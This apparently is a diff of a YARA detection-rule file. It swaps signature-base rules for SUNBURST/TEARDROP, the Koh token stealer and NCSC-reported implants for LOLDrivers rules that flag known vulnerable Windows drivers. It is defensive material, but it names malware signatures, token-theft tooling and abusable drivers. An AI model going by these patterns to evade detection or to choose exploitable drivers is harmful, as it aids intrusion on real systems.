-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L141-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ab5197e7a1a123055b361a2ef79f8a77a7935606fccc8f163ea5914c94cd14d"
-		score = 85
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "df483112-63ae-51a2-9ebe-795c8ede056f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6696-L6716"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0fc3bc6e81b04dcaa349f59f04d6c85c55a2fea5db8fa0ba53d3096a040ce5a7"
+		hash = "40eef1f52c7b81750cee2b74b5d2f4155d4e58bdde5e18ea612ab09ed0864554"
+		logic_hash = "56d3b62717fae240ed7c6becfd6523962bb536fe4f7746e7c80f97851fe30501"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$sb1 = { C7 44 24 ?? 80 00 00 00 [0-64] BA 00 00 00 80 [0-32] 48 8D 0D [4-32] FF 15 [4] 48 83 F8 FF [2-64] 41 B8 40 00 00 00 [0-64] FF 15 [4-5] 85 C0 7? ?? 80 3D [4] FF }
-		$sb2 = { 80 3D [4] D8 [2-32] 41 B8 04 00 00 00 [0-32] C7 44 24 ?? 4A 46 49 46 [0-32] E8 [4-5] 85 C0 [2-32] C6 05 [4] 6A C6 05 [4] 70 C6 05 [4] 65 C6 05 [4] 67 }
-		$sb3 = { BA [4] 48 89 ?? E8 [4] 41 B8 [4] 48 89 ?? 48 89 ?? E8 [4] 85 C0 7? [1-32] 8B 44 24 ?? 48 8B ?? 24 [1-16] 48 01 C8 [0-32] FF D0 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100340020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Dropper_Win64_TEARDROP_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Netfiltersys_EDC6 : FILE
 {
 	meta:
-		description = "This rule is intended match specific sequences of opcode found within TEARDROP, including those that decode the embedded payload. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory. (comment by Nextron: prone to False Positives)"
-		author = "FireEye"
-		id = "15dfdb74-5ca3-5bc6-be7a-730333b03ba5"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L157-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1fa9b9c700601d10cb77ec714b972f04308de615dfc519f680fc956227cc11d"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "382202e4-66c5-574b-a16f-1ce4f6e10f24"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6719-L6740"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "edc6e32e3545f859e5b49ece1cabd13623122c1f03a2f7454a61034b3ff577ed"
+		hash = "79e7165e626c7bde546cd1bea4b9ec206de8bed7821479856bdb0a2adc3e3617"
+		hash = "18b923b169b2c3c7db5cbfda0db0999f04adb2cf6c917e5b1fb2ff04714ecac1"
+		logic_hash = "e55f801255f5962479d0f69a162490ef45acd014d157118b6808c100583cafa3"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$loc_4218FE24A5 = { 48 89 C8 45 0F B6 4C 0A 30 }
-		$loc_4218FE36CA = { 48 C1 E0 04 83 C3 01 48 01 E8 8B 48 28 8B 50 30 44 8B 40 2C 48 01 F1 4C 01 FA }
-		$loc_4218FE2747 = { C6 05 ?? ?? ?? ?? 6A C6 05 ?? ?? ?? ?? 70 C6 05 ?? ?? ?? ?? 65 C6 05 ?? ?? ?? ?? 67 }
-		$loc_5551D725A0 = { 48 89 C8 45 0F B6 4C 0A 30 48 89 CE 44 89 CF 48 F7 E3 48 C1 EA 05 48 8D 04 92 48 8D 04 42 48 C1 E0 04 48 29 C6 }
-		$loc_5551D726F6 = { 53 4F 46 54 57 41 52 45 ?? ?? ?? ?? 66 74 5C 43 ?? ?? ?? ?? 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570059004a00530051002000540044004900200048006f006f006b0020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]5b8f56fe65e05fe7 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0039002e00350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]65e05fe752a0901f56689a7152a865874ef6 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000770079006a00730071002e0063006f006d }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Koh_Tokenstealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_E428 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
-		author = "Will Schroeder (@harmj0y)"
-		id = "76b6cc9f-5db7-5e9b-939c-e713bad8137a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/GhostPack/Koh"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hktl_koh_tokenstealer.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e2c4d948e23f1a3a92689f35fedde6e041d09cd88deac9ff3249556be0b8f789"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "3a87403b-9df1-566b-af2d-e22732584b63"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6743-L6759"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f"
+		logic_hash = "8bd47884d13cfc03ececb849688a1c843c4de684a6d32923493f9d0af3d33b7b"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
-		$s1 = "[*] Already SYSTEM, not elevating" wide fullword
-		$s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
-		$s3 = "0x[0-9A-Fa-f]+$" wide
-		$s4 = "\\Koh.pdb" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003900380034 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5A4D and 1 of ($x*) or 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Bytes_Used_In_AES_Key_Generation : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_BE68 : FILE
 {
 	meta:
-		description = "Detects Backdoor.goodor"
-		author = "NCSC"
-		id = "26a549dd-cbd2-5abc-8d9d-5ea354d0ece8"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L9-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
-		logic_hash = "221f5ea0a0224a96588912e7ddfbafd20b0b10c119395ca14d1138c284d7b79e"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "5eede083-38a6-50f5-b31e-a4880d4b4304"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6762-L6781"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "be683cd38e64280567c59f7dc0a45570abcb8a75f1d894853bbbd25675b4adf7"
+		logic_hash = "6fc3676bace692d3c83f0ccebe39be7d9dec3965935a8cf8971594fd6c206b90"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a1 = {35 34 36 35 4B 4A 55 54 5E 49 55 5F 29 7B 68 36 35 67 34 36 64 66 35 68}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055002d005a0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and all of ($a*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Partial_Implant_ID : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_0909 : FILE
 {
 	meta:
-		description = "Detects implant from NCSC report"
-		author = "NCSC"
-		id = "15144f4a-2c96-57f0-b7e9-adbac477c38a"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L24-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
-		logic_hash = "d0a29bed3c19007cb08427769918b0a02d5d247211a1ceaff31aed5839c78966"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "e1be6d99-bee6-5208-976b-04a2fde0602b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6784-L6803"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06"
+		logic_hash = "f224ce42de29a91805c38c230c5b311878339c20d18bcd482b5738f246b12cbc"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a1 = {38 38 31 34 35 36 46 43}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of ($a*)
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Sleep_Timer_Choice : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_3CB1 : FILE
 {
 	meta:
-		description = "Detects malware from NCSC report"
-		author = "NCSC"
-		id = "c64db0dd-2858-5508-ac51-d3318113a060"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L39-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
-		logic_hash = "5d2b656aabb113c50805d4af0faa62f579547dd4ec328ff2778fab64d778b8b9"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "0f9615f9-4cb9-5be7-bc88-4965e143da3e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6806-L6826"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3cb111fdedc32f2f253aacde4372b710035c8652eb3586553652477a521c9284"
+		hash = "9bfd24947052bfe9f2979113a7941e40bd7e3a82eaa081a32ad4064159f07c91"
+		logic_hash = "cb6f7a26f4564d7a60a8dee25f5018fd4f3b4decfef6dfdb0d0b2f1df982adf7"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a1 = {8b0424b90f00000083f9ff743499f7f98d420f}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300035002e00310038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300035002e00310038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of ($a*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_User_Function_String
+rule LOLDRIVERS_PUA_VULN_Driver_Watchdogdevelopmentcomllc_Wsdkdsys_Wsdkd_6278 : FILE
 {
 	meta:
-		description = "Detects user function string from NCSC report"
-		author = "NCSC"
-		id = "563ac6af-6b37-53c6-ae13-d97e31edb088"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L54-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
-		logic_hash = "04821d1d5c12b5a9aca3c5b4be9f7a7d35320ad1503ccbdadebc7710c613a976"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wsdkd.sys"
+		author = "Florian Roth"
+		id = "4beb5c5a-5bdf-513e-9d43-00c30289eddb"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6829-L6848"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6278bc785113831b2ec3368e2c9c9e89e8aca49085a59d8d38dac651471d6440"
+		logic_hash = "3df6c8424981c50e765d8730f702b2a541b4e7312eea2ae27518d0958531f3e0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a2 = "e.RandomHashString"
-		$a3 = "e.Decode"
-		$a4 = "e.Decrypt"
-		$a5 = "e.HashStr"
-		$a6 = "e.FromB64"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005700610074006300680044006f006700200041006e00740069007600690072007500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005700610074006300680044006f00670044006500760065006c006f0070006d0065006e0074002e0063006f006d002c0020004c004c0043002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0033002e0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0033002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007700730064006b0064002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007700730064006b0064 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007700730064006b0064002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }
 
 	condition:
-		4 of ($a*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Generic_Shellcode_Downloader_Specific : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Huawei_Hwosec_Huaweimatebook_B179 : FILE
 {
 	meta:
-		description = "Detects Doorshell from NCSC report"
-		author = "NCSC"
-		id = "ddd25add-ff84-5106-ac3c-5d5b4c1ef2a9"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L73-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b8bc0611a7fd321d2483a0a9a505251e15c22402e0cfdc62c0258af53ed3658a"
-		logic_hash = "9315ad03b5a28030c32fea5547db3ae421a1ebdae0b96a8a4c2f92660c41bc40"
-		score = 75
-		quality = 79
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwOs2Ec7x64.sys"
+		author = "Florian Roth"
+		id = "7fdaa5bb-7874-51cc-90a0-d718b5ad7ac8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6851-L6871"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de"
+		hash = "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc"
+		logic_hash = "6c35f9cdd6d48a5804a95bbfd15564e1b9d145b121a72df7fe345ede0c2eed26"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$push1 = {68 6C 6C 6F 63}
-		$push2 = {68 75 61 6C 41}
-		$push3 = {68 56 69 72 74}
-		$a = {BA 90 02 00 00 46 C1 C6 19 03 DD 2B F4 33 DE}
-		$b = {87 C0 81 F2 D1 19 89 14 C1 C8 1F FF E0}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480077004f0073003200450063 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004800750061007700650069 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077004f0073003200450063 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048007500610077006500690020004d0061007400650042006f006f006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480077004f0073003200450063002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310036 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3C))==0x4550) and ($a or $b) and @push1<@push2 and @push2<@push3
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Batch_Script_To_Run_Psexec
+rule LOLDRIVERS_PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_A468 : FILE
 {
 	meta:
-		description = "Detects malicious batch file from NCSC report"
-		author = "NCSC"
-		id = "1fbeeec8-a5bd-569e-b435-c7d82d32e47b"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L91-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7d7c4bc8f9fd0e461425747122a431f93062358ed36ce281147998575ee1a18"
-		logic_hash = "9bdaa14aa535c178914f83c12b23484162f085c6fc6041d379268546ee99f462"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		id = "ee20509d-fdf5-5c5a-8f49-5392c6f015ad"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6874-L6892"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9"
+		logic_hash = "a1e7828c2e39afe4279e6c9b5d34263478919336ed6b7d01bb45b1fdb2032878"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "Tokens=1 delims=" ascii
-		$ = "SET ws=%1" ascii
-		$ = "Checking %ws%" ascii
-		$ = "%TEMP%\\%ws%ns.txt" ascii
-		$ = "ps.exe -accepteula" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Batch_Powershell_Invoke_Inveigh
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_7661 : FILE
 {
 	meta:
-		description = "Detects malicious batch file from NCSC report"
-		author = "NCSC"
